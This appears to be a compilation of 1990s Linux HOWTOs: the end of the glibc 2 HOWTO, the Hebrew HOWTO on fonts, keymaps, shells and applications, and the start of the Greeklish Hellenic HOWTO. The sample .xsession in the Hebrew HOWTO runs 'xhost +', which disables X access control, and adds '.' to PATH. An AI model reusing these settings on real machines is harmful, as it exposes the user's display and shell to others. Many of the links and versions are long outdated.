  • comp.os.linux.development.apps
  • linux.dev.kernel
  • gnu.bugs.glibc

Mailing lists.

Glibc 2 Linux discussion list.

This list is intended for discussion among Linux users who have installed glibc2, the new GNU C libraries. Topics might include compatibility issues and questions about the compilation of code in a Linux/glibc setting. To subscribe, send mail to Majordomo@ricardo.ecn.wfu.edu with a body of "subscribe glibc-linux <your email address>.

Archives for this mailing list can be found at http://www.progressive-comp.com/Lists/?l=linux-glibc&r=1&w=2#linux-glibc

11.2 Credits.

Most of this information was stolen from the GNU Libc web page and from Ulrich Drepper's <drepper@gnu.ai.mit.edu> glibc 2 announcement and his comments. Andreas Jaeger <aj@arthur.rhein-neckar.de> provided some of the Reporting bugs section.

The following people have provided information and feedback for this document:

  • Allex <allex@ms2.accmail.com.tw>
  • Mark Brown <M.A.Brown-4@sms.ed.ac.uk>
  • Ulrich Drepper <drepper@gnu.ai.mit.edu>
  • Scott K. Ellis <ellis@valueweb.net>
  • Aron Griffis <agriffis@coat.com>
  • Andreas Jaeger <aj@arthur.rhein-neckar.de>
  • Hank Leininger <hlein@progressive-comp.com>
  • Frodo Looijaard <frodol@dds.nl>
  • Ryan McGuire <rmcguire@freenet.columbus.oh.us>
  • Shaya Potter <spotter@capaccess.org>
  • Les Schaffer <godzilla@futuris.net>
  • Andy Sewell <puck@pookhill.demon.co.uk>
  • Gary Shea <shea@gtsdesign.com>
  • Stephane <sr@adb.fr>
  • Jan Vandenbos <jan@imaxx.net>
  • Michael Wolf <wolfm@rpi.edu>

Translations of this document are being done by:

  • Chinese: Allex <allex@ms2.accmail.com.tw>
  • French: Olivier Tharan <tharan@int-evry.fr>
  • Japanese: Kazuyuki Okamoto <ikko-@pacific.rim.or.jp>

11.3 Feedback.

Besides writing this HOWTO, maintaining the glibc 2 for Linux page, and using it on my machine, I have nothing to do with the glibc project. I am far from knowledgeable on this topic, though I try to help with problems mailed to me. I welcome any feedback, corrections, or suggestions you have to offer. Please send them to ejg3@cornell.edu.

11.4 Copyright.

Copyright (c) 1997 by Eric Green. This document may be distributed under the terms set forth in the LDP license.


The Hebrew HOWTO

Maintained by Yair G. Rajwan, <tt>yair@hobbes.jct.ac.il</tt>

v0.4, 12 September 1995

This `Frequently Asked Questions' (FAQ) / HOWTO document describes how to configure your Linux machine to use Hebrew characters on X-Windows and Virtual Consoles. The most up-to-date version of the Hebrew-HOWTO may be obtained from my Web page or from <tt>ftp://hobbes.jct.ac.il</tt>.

1. Introduction

  • 1.1 Changes.
  • 1.2 Thanks

2. Standards for representation of Hebrew characters

  • 2.1 ASCII
  • 2.2 DOS Hebrew
  • 2.3 ISO Hebrew
  • 2.4 OLD PC Hebrew
  • 2.5 Conversions

3. Virtual Consoles (VCs)

4. X Windows setup - XFree86 3.1

  • 4.1 Hebrew fonts.
  • 4.2 Installing fonts
  • 4.3 Making an X application to use Hebrew fonts.
  • 4.4 Mapping the keyboard.
  • 4.5 Integrating all the above, examples.

5. Shells setup.

  • 5.1 bash
  • 5.2 tcsh

6. Applications

  • 6.1 Vim
  • 6.2 Hebrew pine and pico
  • 6.3 Some emacs Hebrew ports.
  • 6.4 Dosemu
  • 6.5 XHTerm
  • 6.6 TeX--XeT - Hebrew Tex.

7. Printer setup

8. Commercial products.

  • 8.1 El-Mar software.

9. Hebrew around the Internet.

  • 9.1 WWW
  • 9.2 Gopher
  • 9.3 Ftp


The Hebrew HOWTO: Introduction

 Next Previous Contents

1. Introduction

Any language setup, other than the original American English, has two issues:

  1. Displaying the right characters (fonts) - for Hebrew it's ISO-8859-8 standard.
  2. Mapping the keyboard.

There is much more to Hebrew than that (like right to left, geometry in X-Windows,etc), but this HOWTO (at least for the first draft) deals only with the basic issues.

More information can be found in the various "national" HOWTOs (German, Danish, etc.) and in the ISO 8859-1 HOWTO ( ftp://ftp.vlsivie.tuwien.ac.at/pub/8bit FAQ-ISO-8859-1).

1.1 Changes.

  • FIRST DRAFT to 0.2.

    Most of this file is taken from the first draft by Vlad Moseanu.

  • 0.2 to 0.3Beta.

    Added excerpts from documents from the archive e-brew.zip from ftp://ftp.jer1.co.il/pub/software/msdos/communication, and some bug fixes with the help of JCT Linux-il group members.

  • 0.3Beta to 0.4.

    After the first release of the Hebrew-HOWTO to the Linux-il it contain all the E-mail send to me regarding spelling/grammer and Tex-Xet, Mule and Vim info.

1.2 Thanks

This HOWTO prepared by the help of all the group: Linux-il - 'The Israeli Linux users group' and especially by:

The Linux-il group (Linux-il@hagiga.jct.ac.il)

Vlad Moseanu (vlad@actcom.co.il)

Gili Granot (gil@csc.cs.technion.ac.il)

Harvey J. Stein (hjstein@math.huji.ac.il)

Dovie Adler (dadler@hobbes.jct.ac.il)

Gavrie Philipson (gavrie@shekel.jct.ac.il)


The Hebrew HOWTO: Standards for representation of Hebrew characters

 Next Previous Contents

2. Standards for representation of Hebrew characters

2.1 ASCII

To make one thing clear, for once and forever: There is no such thing as 8-bit ASCII. ASCII is only 7 bits. Any 8-bit code is not ASCII, but that doesn't mean it's not standard. ISO-8859-8 is standard, but not ASCII. Thanks!

2.2 DOS Hebrew

The Hebrew encoding starts at 128d for Aleph. Therefore, encoding requires 8 bits. This is what you have on the Video card EPROM hardware fonts, all of the Hebrew DOS based editors use this table (Qtext, HED, etc.).

2.3 ISO Hebrew

The Hebrew encoding starts at 224 for Aleph. This is the Internet standard, international standard and basically the standard for Ms-Windows and for Macintoshes (Dagesh, etc...).

2.4 OLD PC Hebrew

This is 7-bit, and obsolete, as it occupies essentially the same ASCII range as English lowercase letters. So, it is best avoided. However, when ISO Hebrew gets its eighth bit stripped off by some ignorant Unix mail program (so you get a jumble of English letters for the Hebrew part of your message and the regular English, reversed or not, mixed in), you will get this, and will need to transform it to PC or ISO. If there was English mixed in with the Hebrew, this will be a sad situation, as you will either get Hebrew plus jumble, or English plus jumble...

2.5 Conversions

Here are some simple scripts to convert from each standard to the other:

DOS - ISO:      tr '\200-\232' '\340-\372' < {dos_file} > {iso_file}
ISO - DOS:      tr '\340-\372' '\200-\232' < {iso_file} > {dos_file}
OLD - DOS:      tr -z '\200-\232' < {old_Hebrew_file} > {dos_file}

NOTE: The numbers use by tr are in octal!


The Hebrew HOWTO: Virtual Consoles (VCs)

 Next Previous Contents

3. Virtual Consoles (VCs)

Every distribution of Slackware comes with kbd; the package is called keytbls under Slackware (a4 in 2.3.0 - kbd 0.90). Joel Hoffman has contributed Hebrew fonts and keymaps from his original codepage.tar.Z file. Look under /usr/lib/kbd for iso08.* files. It follows ISO 8859-8 and the Hebrew keytables and maps.

Put the following lines in /etc/rc.d/rc.local:

-----
#!/bin/sh
#       Put any local setup commands in here
#
INITTY=/dev/tty[1-6]
PATH=/sbin:/etc:/bin:/usr/sbin:/usr/bin
#
#       kbd - Set the the console font and keyboard
#       set numlock and set metabit mode on tty1 .. tty8
for tty in $INITTY
do
#       setleds -D +num < $tty > /dev/null
        setmetamode metabit < $tty > /dev/null
done
#       Latin8(Hebrew) keyboard/console
setfont iso08.f16
mapscrn trivial
loadkeys Hebrew
#       enable mapping
for tty in $INITTY
do
        echo -n -e "\\033(K" >$tty
done
-----

NOTE: If you are using X Windows be careful with "setleds", it may hang the X server.

The above setup works fine with the Hebrew version of pico (pine) and displays correctly ISO 8859-8 Hebrew (X Windows, MS Windows).


The Hebrew HOWTO: X Windows setup - XFree86 3.1

 Next Previous Contents

4. X Windows setup - XFree86 3.1

4.1 Hebrew fonts.

XFree86 3.1 comes with two Hebrew fonts: heb6x13, heb8x13. Additional Hebrew fonts can be found on the Net:

  • The web Type1 fonts (Helvetica/David style (proportional) and Courier/Shalom Stick style (fixed space) ) from the snunit-project archive at ftp://snunit.huji.ac.il/pub/fonts/, it's good for netscape Hebrew pages.
  • Avner Lottem, ( lottem@techUnix.technion.ac.il) put some Hebrew-ISO 8859-8 fonts on archive at ftp://sunsite.unc.edu/pub/Linux/X11/fonts/hebxfonts-0.1.tgz, it has a font that's good for dosemu under X-Windows (read his README file).

4.2 Installing fonts

  • Fonts exaptable: pcf (Portable Compiled Format), bdf (Bitmap Distribution Format), pfb (Type1 fonts).
  • Move the fonts to some existing directory (/usr/lib/X11/fonts/misc) or create a new one (/usr/lib/X11/fonts/Hebrew). compress (to *.Z) the fonts to save space (NOT GZIP!!!).
  • Run the mkfontdir to create/re-create the fonts.dir and edit fonts.alias (optional) to define new aliases.
  • For Type1 fonts, mkfontdir does nothing. You have to add these fonts to fonts.dir manually.
  • Make sure that the directory is in the X server path. Edit the XF86Config and add the appropriate path -- FontPath "/usr/X11R6/lib/X11/fonts/...".

4.3 Making an X application to use Hebrew fonts.

In short you need to set the appropriate resource.

Xterm

Put the following line in the $HOME/.Xresources:

xterm*font: heb8x13

or simply start xterm with xterm -fn heb8x13 The above font is way too small, so search for a better one ... See the comments/examples on starting X11.

Netscape

Usaly you can use the hebrew fonts from snunit - webfonts, Install it as described, and then put the next defaults in your local .Xdefaults or in the app-defaults/Netscape.

----
*documentFonts.latin1.variable.italic*slant:            r
*documentFonts.latin1.variable.boldItalic*slant:        r
*documentFonts.latin1.variable*family:                  web
*documentFonts.latin1.fixed*family:                     webmono
*documentFonts.latin1*registry:                         iso8859
*documentFonts.latin1*encoding:                         8
----
In general you can put any fonts insted of the webfonts files as long as its supported by X11 as described.

4.4 Mapping the keyboard.

For some reason the X server doesn't inherit the keymap from the previous paragraph, and anyway I would like to define ALT Left and ALT Right and Scroll Lock. When pressing ALT together with some key it will generate a Hebrew character, Scroll Lock will lock in Hebrew mode.

To do that we need to use xmodmap. Following is a Xmodmap which also corrects the bugs with the "Num Lock":

-----
! Hebrew key mapping for XFree86 (for US/Hebrew keyboards).
! By Vlad Moseanu
!
keysym Alt_L = Mode_switch
keysym Alt_R = Mode_switch
!clear Mod1
clear Mod2
!add Mod1 = Alt_L
add Mod2 = Mode_switch
!
! Set the mapping for each key
!
keycode   8 =
keycode   9 = Escape
keycode  10 = 1 exclam
keycode  11 = 2 at
keycode  12 = 3 numbersign
keycode  13 = 4 dollar
keycode  14 = 5 percent
keycode  15 = 6 asciicircum
keycode  16 = 7 ampersand
keycode  17 = 8 asterisk
keycode  18 = 9 parenleft
keycode  19 = 0 parenright
keycode  20 = minus underscore
keycode  21 = equal plus
keycode  22 = Delete
keycode  23 = Tab
keycode  24 = q Q slash Q
keycode  25 = w W apostrophe W
keycode  26 = e E 0x00f7 E
keycode  27 = r R 0x00f8 R
keycode  28 = t T 0x00e0 T
keycode  29 = y Y 0x00e8 Y
keycode  30 = u U 0x00e5 U
keycode  31 = i I 0x00ef I
keycode  32 = o O 0x00ed O
keycode  33 = p P 0x00f4 P
keycode  34 = bracketleft braceleft
keycode  35 = bracketright braceright
keycode  36 = Return
keycode  37 = Control_L
keycode  38 = a A 0x00f9 A
keycode  39 = s S 0x00e3 S
keycode  40 = d D 0x00e2 D
keycode  41 = f F 0x00eb F
keycode  42 = g G 0x00f2 G
keycode  43 = h H 0x00e9 H
keycode  44 = j J 0x00e7 J
keycode  45 = k K 0x00ec K
keycode  46 = l L 0x00ea L
keycode  47 = semicolon colon 0x00f3 colon
keycode  48 = apostrophe quotedbl comma quotedbl
keycode  49 = grave asciitilde semicolon asciitilde
keycode  50 = Shift_L
keycode  51 = backslash bar
keycode  52 = z Z 0x00e6 Z
keycode  53 = x X 0x00f1 X
keycode  54 = c C 0x00e1 C
keycode  55 = v V 0x00e4 V
keycode  56 = b B 0x00f0 B
keycode  57 = n N 0x00ee N
keycode  58 = m M 0x00f6 M
keycode  59 = comma less 0x00fa less
keycode  60 = period greater 0x00f5 greater
keycode  61 = slash question period question
keycode  62 = Shift_R
keycode  63 = KP_Multiply
!keycode  64 = Alt_L Meta_L
keycode  65 = space
keycode  66 = Caps_Lock
keycode  67 = F1
keycode  68 = F2
keycode  69 = F3
keycode  70 = F4
keycode  71 = F5
keycode  72 = F6
keycode  73 = F7
keycode  74 = F8
keycode  75 = Escape
keycode  76 = F10
keycode  77 = Num_Lock
keycode  78 = Scroll_Lock
keycode  79 = KP_7
keycode  80 = KP_8
keycode  81 = KP_9
keycode  82 = KP_Subtract
keycode  83 = KP_4
keycode  84 = KP_5
keycode  85 = KP_6
keycode  86 = KP_Add
keycode  87 = KP_1
keycode  88 = KP_2
keycode  89 = KP_3
keycode  90 = KP_0
keycode  91 = KP_Decimal
keycode  92 = Sys_Req
keycode  93 =
keycode  94 =
keycode  95 = F11
keycode  96 = F12
keycode  97 = Home
keycode  98 = Up
keycode  99 = Prior
keycode 100 = Left
keycode 101 = Begin
keycode 102 = Right
keycode 103 = End
keycode 104 = Down
keycode 105 = Next
keycode 106 = Insert
keycode 107 = Delete
keycode 108 = KP_Enter
keycode 109 = Control_R
keycode 110 = Pause
keycode 111 = Print
keycode 112 = KP_Divide
!keycode 113 = Alt_R Meta_R
keycode 114 = Break
!
! This xmodmap file can be use to set the correct numerical keypad mapping
! when "ServerNumLock" is set in the XF86Config file.  In this case the
! Xserver takes care of the Num Lock processing.
!
!
keycode  136 = KP_7
keycode  137 = KP_8
keycode  138 = KP_9
keycode  139 = KP_4
keycode  140 = KP_5
keycode  141 = KP_6
keycode  142 = KP_1
keycode  143 = KP_2
keycode  144 = KP_3
keycode  145 = KP_0
keycode  146 = KP_Decimal
keycode  147 = Home
keycode  148 = Up
keycode  149 = Prior
keycode  150 = Left
keycode  151 = Begin
keycode  152 = Right
keycode  153 = End
keycode  154 = Down
keycode  155 = Next
keycode  156 = Insert
keycode  157 = Delete
-----

To use the Xmodmap above define "Scroll-Lock Mode-Lock" in the XF86Config.

4.5 Integrating all the above, examples.

If you are using xdm a $HOME/.xsession should look like the following:

-----
#!/bin/sh
# $XConsortium: Xsession,v 1.9 92/08/29 16:24:57 gildea Exp $
#
# General defs
#
export OPENWINHOME=/usr/openwin
export MANPATH=/usr/local/man:/usr/man/preformat:/usr/man:/usr/X11R6/man
#export HOSTNAME="`cat /etc/HOSTNAME`"
export PATH="/bin: /usr/bin: /usr/X11/bin: /usr/X386/bin: /usr/TeX/bini: /usr/local/bin: /usr/games:."
LESS=-MM
if [ -z $XAPPLRESDIR ]; then
        XAPPLRESDIR=/usr/lib/X11/app-defaults:/usr/local/lib/X11/app-defaults
else
        XAPPLRESDIR=$XAPPLRESDIR:/usr/lib/X11/app-defaults
fi
export XAPPLRESDIR
#
sysresources=/usr/lib/X11/Xresources
sysmodmap=/usr/lib/X11/Xmodmap
resources=$HOME/.Xresources
xmodmap=$HOME/.Xmodmap
if [ -f $sysresources ]; then
        xrdb -merge $sysresources
fi
if [ -f $sysmodmap ]; then
        xmodmap $sysmodmap
fi
if [ -f $resources ]; then
        xrdb -merge $resources
fi
if [ -f $xmodmap ]; then
        xmodmap $xmodmap
fi
#
# Start applications
#
# xterm -ls -sb &
xhost +                 # look out !!!
exec fvwm
-----

If you prefer startx use the above as an example for .xinitrc.


The Hebrew HOWTO: Shells setup.

 Next Previous Contents

5. Shells setup.

For more details read the ISO 8859-1 HOWTO.

5.1 bash

Create a $HOME/.inputrc contain the following:

-----
set meta-flag On
set convert-meta Off
set output-meta On
-----

5.2 tcsh

Define the following in the $HOME/.login or /etc/csh.login: setenv LANG iw_IL.ISO8859-8 (or iw_IL) Actually because the binary version of tcsh is complied without nls the LANG can be set to anything and it will still work (no need for /usr/lib/nls...). The lang. name also shows my Digital bias ...


The Hebrew HOWTO: Applications

 Next Previous Contents

6. Applications

6.1 Vim

  • The Vim is a Vi IMproved editor with some enhanced commands and the hebrew support was made bu Dov Grobgeld (HED developer).
  • Another Vim patch announced by Avner Lottem, lottem@techunix.technion.ac.il and can be obtained from ftp://sunsite.unc.edu/pub/Linux/apps/editors/vi/vim3.0-rlh0.1.tgz.
  • For more info, you can look at http://www.cs.technion.ac.il/~gil/var.html

6.2 Hebrew pine and pico

The pine and it's additional editor pico had been changed by Helen Zommer from CC-huji and has a bug-report mail: pineh-bug@horizon.cc.huji.ac.il. It can be down-loaded from ftp://horizon.cc.huji.ac.il/pub.

6.3 Some emacs Hebrew ports.

  • Hebrew package by Joseph Friedman. It includes some Hebrew fonts in BDF format, patch for emacs 18.58 and an elisp package. It is fine, but nobody uses emacs 18.* anymore. It can be obtained from: ftp://archive.cis.ohio-state.edu/pub/gnu/emacs/elisp-archive/misc/Hebrew.tar.Z.
  • A very simple Hebrew package. Includes only right-to-left cursor movement support and right-to-left sorting. Works without any patches with FSF emacs 19. Can be obtained from ftp://archive.cis.ohio-state.edu/pub/gnu/emacs/elisp-archive/misc/Hebrew.el.Z.
  • One of emacs branches - MULE (Multi Lingual Emacs) Supports a lot of languages including Hebrew. It compiles and runs under Linux with no problem. It is full Emacs, with Hebrew support and double-direction handling. It can be obtained from: ftp://kelim.jct.ac.il/pub/Hebrew

6.4 Dosemu

For a VC dosemu you can use your Hebrew from the Video card EPROM, and if you don't have it there are plenty of Hebrew dos fonts from EGA support to the VGA Hebrew support.

For X-Windows support you should download the file: ftp://sunsite.unc.edu/pub/Linux/X11/fonts/hebxfonts-0.1.tgz it's contain some fonts include one called vgah.pcf that you should install it on your fonts directory as describe above the fonts are:

6.5 XHTerm

There is a main port of the regular X-Term program for use with a Hebrew fonts - XHTerm = xterm + Hebrew support. The port for a sun machine was made avalible by the help of Danny <tt>danny@cs.huji.ac.il</tt>. Evgeny has some patch for use this port under Linux. His version should come with a pre-compiled XHTerm for both X11R5 and X11R6. You should use xhterm with the option -fn and a Hebrew font as described! Danny's port (for SUN) can be obtained from: ftp://ftp.huji.ac.il/pub/local/xhterm and the patched version of Evgeny Stambulchik is on: ftp://plasma-gate.weizmann.ac.il/pub/software/linux Get it from there and you'll get 5 fonts with it: [heb10x20.pcf, heb6x13.bdf, heb6x13.pcf, heb8x13.bdf, heb8x13.pcf]

6.6 TeX--XeT - Hebrew Tex.

The bigest problem with Tex with Hebrew is that the charecters should go backwards relative to Visual look (i.e. pico inserts the charecters from right to left), so the best thing is to get XHterm with a regular emacs and write the Hebrew left to right, backwards as well.

The newer NTeX distribution on sunsite (v1.5) includes everything, including TeX--XeT, precompiled for Linux. It can be obtained from ftp://sunsite.unc.edu.gz/pub/Linux/apps/tex/ntex. An older version of TeX--XeT can be obtained from ftp://noa.huji.ac.il/tex. This older version, however, has to be recompiled (not recommended).

These TeX distributions are fine if you use LaTeX2.09. If you want to use LaTeX2e (the current de facto standard) you have a problem. Alon Ziv (alonz@csa.cs.technion.ac.il) is currently working in support for LaTeX2e with Hebrew, using the Babel languages system. I don't know the current status of his work -- ask him!


The Hebrew HOWTO: Printer setup

 Next Previous Contents

7. Printer setup

Mainly there is not to say, if you have a regular ASCII line printer (who does, these days?) there is a good chance that there are Hebrew fonts in it on the EPROM chip.

If you use PostScript, you should download soft fonts to the printer (you can always use the earlier mentioned Web fonts for that. These fonts are also useable with Ghostscript).

If you have a PCL printer (LaserJet etc.), you can either use font cartridges or use Ghostscript.


The Hebrew HOWTO: Commercial products.

 Next Previous Contents

8. Commercial products.

8.1 El-Mar software.

The Hebrew Support for X-Windows & Motif, is a product of El-Mar Software, which adds Hebrew functionality to many of the parts and layers of X-Windows and Motif, including Xlib, all of the widgets of Motif, hterm (Hebrew xterm), demos and simple useful applications (e.g. bi-lingual Motif-based editor), fonts (including scalable Type1), keyboard-manager in order to allow Hebrew and push-mode for non-Motif applications, etc.

Despite allowing many new features and variations for Motif widgets, the support doesn't have any modification to internal data-structures of Motif, so existing applications which were compiled and linked under non-Hebrew environment and libraries, can be relinked (without compilation!) and run with Hebrew (you can replace shared-libraries, so even the relink is not needed!)

By using another tool of us, Motif/Xplorer, you can take commercial applications (without their source) and translate them to Hebrew. This was the way of giving Hebrew support for Oracle Forms 4, Intellicorp's Kappa and OMW, CA-Unicenter, and many other leading UNIX tools sold in Israel. This product was purchased and adopted by most of the workstation vendors (9 of them, including the biggest: Sun, HP, SGI), and many other software houses. There are Makefiles for more than 30 platforms and operating systems.

We believe only in open software, so all the customers get the compelete source code. We have good relations with the leading forces in this industry, including the technical staff of X-Consortium and the technical staff of COSE.

Eli Marmor
El-Mar Software Ltd.
Voice: 050-237338
FAX: 09-984279
marmor@sunshine.cs.biu.ac.il

P.S.: The announcement of the Arabic Support for X-Windows & Motif, is expected in January. English, Hebrew, and Arabic will be handled by 8 bits (!), including the full set of Arabic glyphes.


The Hebrew HOWTO: Hebrew around the Internet.

 Next Previous Contents

9. Hebrew around the Internet.

9.1 WWW

  • Jerusalem 1 - has many program and FAQ files about Hebrew on Unix and other platforms http://www.jer1.co.il.
  • Gili Granot's Hebrew archive page - sumerize of all Hebrew related issues around the Web (include all kind of files) http://www.cs.technion.ac.il/~gil.
  • Gavrie has some info about Hebrew on his ftp site: ftp://kelim.jct.ac.il

9.2 Gopher

  • A one word testing for Hebrew-gopher can be found on gopher://shekel.jct.ac.il

9.3 Ftp

  • Some Tex-Xet programs and the main FTP site for Tex Hebrew support for PC and Unix is at ftp://noa.huji.ac.il/tex.
  • Horizon site as said allready contains the main site of pine/pico Hebrew support - ftp://horizon.huji.ac.il/pub.
  • Gili Granot's Hebrew archive page ftp site is at ftp://ssl.cs.technion.ac.il/pub.


HELLENIC HOWTO

Fotis Georgatos < gef@hellug.gr>

Ekdosn 0.991127, 12-27-1999

Auto to keimevo periexei plnrofories gia tnv ru8misn tou Linux gia upostnri3n twv idiaiterotntwv twv Ellnvwv kai tns ellnvikns glwssas. This document is part of Hellenic (el) LDP project: http://www.hellug.gr/gr/howto/howto/pub/html/

1. Eisagwgn

  • 1.1 Suvtnrnsn tou Hellenic-HOWTO
  • 1.2 Morfopoinseis tou Hellenic-HOWTO
  • 1.3 Tropopoinseis
  • 1.4 Spovdes
  • 1.5 Pveumatika dikaiwmata kai adeia xrnsns.
  • 1.6 Note to english users & Copyright

2. Egkatastasn

  • 2.1 Egkatastasn ellnvikwv
  • 2.2 Xrnsimes sumboules
  • 2.3 Suse
  • 2.4 Redhat
  • 2.5 Slackware
  • 2.6 Pros8etes ru8miseis

3. Ru8miseis Ellnvikwv

  • 3.1 Ellnvikes grammatoseires
  • 3.2 Kovsola (text mode)
  • 3.3 Grafiko periballov (Xwindows)
  • 3.4 Zwvn wras (Timezone)
  • 3.5 Ektupwseis
  • 3.6 Pws kavw mount eva windows partition;
  • 3.7 Pws va grayw eva CD sto Linux;

4. Efarmoges

  • 4.1 bash
  • 4.2 csh/tcsh
  • 4.3 ls
  • 4.4 more
  • 4.5 less
  • 4.6 a2ps
  • 4.7 genscript
  • 4.8 vi
  • 4.9 joe
  • 4.10 emacs
  • 4.11 xemacs
  • 4.12 pine
  • 4.13 elm
  • 4.14 metamail
  • 4.15 telnet
  • 4.16 rlogin
  • 4.17 xterm
  • 4.18 rxvt
  • 4.19 minicom
  • 4.20 samba
  • 4.21 ispell
  • 4.22 Midnight Commander
  • 4.23 Staroffice
  • 4.24 Netscape

5. National Language Support

  • 5.1 Proetoimasia
  • 5.2 Egkatastasn Ellnvikwv Locale
  • 5.3 Egkatastasn tou tcsh
  • 5.4 Ru8miseis diaforwv efarmogwv
  • 5.5 Problnmata
  • 5.6 Epipleov plnrofories

6. Tex/LaTex

  • 6.1 To project BABEL
  • 6.2 Prospa8eies e3ellnvismou tou Tex/LaTex
  • 6.3 Suvdesmoi gia Tex/LaTex

7. Hlektrovikn tekmnriwsn kai biblia

  • 7.1 Linux Documentation Project
  • 7.2 Periodika
  • 7.3 Biblia eidika gia Linux
  • 7.4 Unix gia Arxarious
  • 7.5 Unix gia Proxwrnmevous
  • 7.6 Diaxeirisn Sustnmatos
  • 7.7 Asfaleia Sustnmatos sto Unix
  • 7.8 Unix kai Internet
  • 7.9 Ellnvika biblia gia to UNIX

8. To Linux stnv Ellada

  • 8.1 Listes kai omades suzntnsewv (Newsgroups)
  • 8.2 IRC
  • 8.3 Fidonet
  • 8.4 Omades Ellnvwv Xrnstwv tou Linux
  • 8.5 Egw pws mporw va bon8nsw
  • 8.6 Internet Sites
  • 8.7 Diavomes kai CD
  • 8.8 Bibliopwleia kai diavomeis twv CD

9. FAQ

  • 9.1 Pws 3ekivnse to Linux;
  • 9.2 Ti logous exw gia va egkatastnsw to Linux;
  • 9.3 Pws mporw va ma8w ta basika gia to Linux;
  • 9.4 Sumbatotnta;
  • 9.5 Ti SOFTWARE upostnrizetai;
  • 9.6 Ti eivai to compile tou purnva;
  • 9.7 Ti eivai auto to SIG11;
  • 9.8 Uparxouv alla eleu8era Unix;
  • 9.9 Basikn orologia

10. Pivakes xaraktnrwv, character sets

  • 10.1 Tupopoinseis twv ellnvikwv
  • 10.2 737
  • 10.3 928
  • 10.4 Unicode
  • 10.5 Metatropeis ellnvikwv
  • 10.6 Tupoi arxeiwv kai metatropn tous
  • 10.7 Ti uparxei akoma sto Internet sxetika me ellnvika;

11. TODO

  • 11.1 sgmlutils
  • 11.2 groff
  • 11.3 KDE
  • 11.4 vim,viH
  • 11.5 nn
  • 11.6 tin
  • 11.7 mtools
  • 11.8 jove
  • 11.9 pcal
  • 11.10 kermit
  • 11.11 SHMEIWSEIS


HELLENIC HOWTO: Eisagwgn

 Next Previous Contents

1. Eisagwgn

Auto to keimevo exei sullegmeves plnrofories gia tnv ru8misn tou leitourgikou sustnmatos Linux gia tnv upostnri3n tns ellnvikns glwssas. Skopos DEN eivai n apavtnsn gevikwv problnmatwv, alla movov autwv pou sxetizovtai me tnv ellnvikn glwssa kai tis idiaiterotntes evos Ellnva xrnstn, sumperilambavomevwv:

  • tns upostnri3ns ellnvikwv se console mode kai Xwindows,
  • tns xrnsns ellnvikwv se efarmoges,
  • tns or8ografias,
  • tns epikoivwvias me allous Ellnves xrnstes.

Gia mia grngorn Egkatastasi-Ellinikwn avatre3ate sto avtistoixo kefalaio.

Parakalw, va exete up' oyiv sas oti oi odngies gia ta ellnvika mporei va mnv xreiazovtai n va eivai mnv isxuouv me akribeia stnv periptwsn sas. Auto px sumbaivei e3' aitias mikrodiaforwv meta3u twv diavomwv (Debian, Suse, Redhat, OpenLinux klp), n epeidn me tov kairo oi luseis pou parousiazovtai edw evswmatwvovtai stis diavomes.

1.1 Suvtnrnsn tou Hellenic-HOWTO

H suvtnrnsn autou tou keimevou givetai apo tov Gewrgato Fwtn < gef@hellug.gr > kai n pio teleutaia ekdosn 8a brisketai sto URL: http://students.ceid.upatras.gr/~gef/linux/docs/HOWTO/

To keimevo auto 8a mporeite va to breite episns edw:

  • http://www.hellug.gr/gr/howto/howto/pub/html/Hellenic-HOWTO.html
  • http://metalab.unc.edu/LDP/HOWTO/Hellenic-HOWTO.html
  • ftp://argeas.hellug.gr/pub/unix/linux/GREEK/HOWTO

1.2 Morfopoinseis tou Hellenic-HOWTO

To HOWTO auto uparxei stis e3ns morfopoinseis:

  • Hellenic-HOWTO.html html me Ellnvika 928 (moiazouv me ta windows-1253)
  • Hellenic-HOWTO.html eivai greeklish (xrnsimo priv stn8ouv ta ellnvika)
  • Hellenic-HOWTO.sgml Eivai o pngaios kwdikas tou HOWTO, pou se suvdiasmo me ta sgml-tools paragei ola ta upoloipa.

1.3 Tropopoinseis

Gia opoiodnpote metatropn/sxoliasmo tou HOWTO, parakalw epikoivwveiste mazi mou sto gef@hellug.gr me subject: HELLENIC-HOWTO. Eav breite la8n n avakribeies sto keimevo, dnlwste to. Episns avalambavw tnv or8ografia, tovismo kai suvtaktiko elegxo gia ta keimeva, xwris auto va snmaivei oti 8a eivai ola pavta teleia :-)

Istoriko allagwv:

  • 0.00 Avakoivwsn evar3ns tou keimevou stnv lista linux-greek-users (Ioulios 97)
  • 0.01 Basikos skeletos tou HOWTO
  • 0.1 Pros8nkn keimevou ar8rwv, epikollnsn 3evwv tmnmatwv.
  • 0.2 Pros8nkes/Allages 2.4.3, 3.2.x, 6, 3.3.3
  • 0.3 Gevikes allages
  • 0.4 Pros8nkes/Allages/Epaln8eusn 3.x
  • 0.5 Allagn 2.5
  • 0.6 Pros8nkes me basn to NLS FAQ
  • 0.7 Orgavwsn se SGML kai avakoivwsn upar3ns stn lista.
  • 0.8 To "euxaristies" egive "spovdes" kai alla polla :-)
  • 0.9 Pros8nkn kefalaiou Netscape, Timezone, dior8wseis
  • 0.9p1-4 Dokimes efarmogwv me ta ellnvika
  • 0.9p5,6,7,8 Proetoimasia gia telikn ekdosn
  • 0.9905*,06* prefinal versions

{ Ta tmnmata pou eivai mesa se agkistra, eivai proswriva, kai dev 8a
uparxouv stnv ekdosn 1.0 }
{ akuro, 8a meivouv }
{ Ta tmnmata pou exouv (???) xreiazovtai epaln8eusn n pros8nkes}

1.4 Spovdes

Ta gvwsta credits :-)

Euxaristw idiaitera tov 'Aggelo Xaritsn < ah@computer.org> ( gvwstos gia tis ergasies tou gurw apo ta ellnvika twv UNIX sto HRI ), gia tis ektetameves pros8nkes kai upodei3eis tou.

Polutimn, episns, ntav n bon8eia twv:

  • Tasos Kapios < fadom@ccf.auth.gr> ( Kefalaio gia National Language Support )
  • Keramidas Giwrgos < keramida@hellug.gr> ( Kefalaio gia Tex/LaTex kai alla polla)
  • Ko3aras Arns < koxaras@ceid.upatras.gr> ( Kefalaio gia Netscape )
  • Pavagiwtns Bruwvns < vrypan@hellug.gr, http://members.xoom.com/Vrypan > ( Kefalaio gia Grammatoseires, Ektupwseis kai alla )
  • Swtnrns Tsimpwvns < tsimbonis@forthnet.gr>,
  • Avtwvns Kabarvos < akav@hellug.gr>,
  • Papadnmntriou Spuros < spapadim@csd.uch.gr>.
  • Giavvns Mntsos < gmitsos@duth.gr>.

Gia tn suggrafn tou keimevou autou xrnsimeusav sav prwtes pnges ta:

  • linux-danish-howto (Thomas Petersen),
  • linux-italian-howto (Marco Gaio Gaiarin)

1.5 Pveumatika dikaiwmata kai adeia xrnsns.

Oi aparaitntes dieukrivnseis...

